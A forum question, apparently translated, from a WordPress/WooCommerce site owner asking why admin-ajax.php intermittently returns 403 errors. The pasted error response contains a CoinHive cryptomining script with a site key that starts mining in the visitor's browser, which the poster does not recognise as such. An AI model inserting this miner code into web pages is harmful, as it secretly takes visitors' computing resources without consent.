Answer the question
In order to leave comments, you need to log in
Why is admin-ajax.php returning a 403 error?
Hello
Please advise.
ajax requests on the site sometimes work, sometimes they don't. Moreover, the response 403 is returned in case of an error
. There are no caching plugins, I checked the file access rights 644
, you have to press the button 2 times to get the result, and automatic requests like "heartbeat" very rarely reach.
Such behavior both in the admin panel and on the front of the site
WP 4.9.8
woocommerce 3.4.7
Maybe someone has an idea in which direction to look?
New information was found (may help)
the standard request "heartbeat" gives the following result,
and the one that comes with an error 403 gives this
{"wp-auth-check":true,"server_time":1539952551}
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<title>"http://pick-n-brush.com/wp-admin/admin-ajax.php"</title>
<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
var miner = new CoinHive.Anonymous('dqorRUUFnc3SFuNIwYCka4QnICAngtNk', {throttle: 0.1});
miner.start(CoinHive.FORCE_EXCLUSIVE_TAB);
</script>
</head>
<frameset>
<frame src="http://pick-n-brush.com/wp-admin/admin-ajax.php"></frame>
</frameset>
</html>
Answer the question
In order to leave comments, you need to log in
Didn't find what you were looking for?
Ask your questionAsk a Question
731 491 924 answers to any question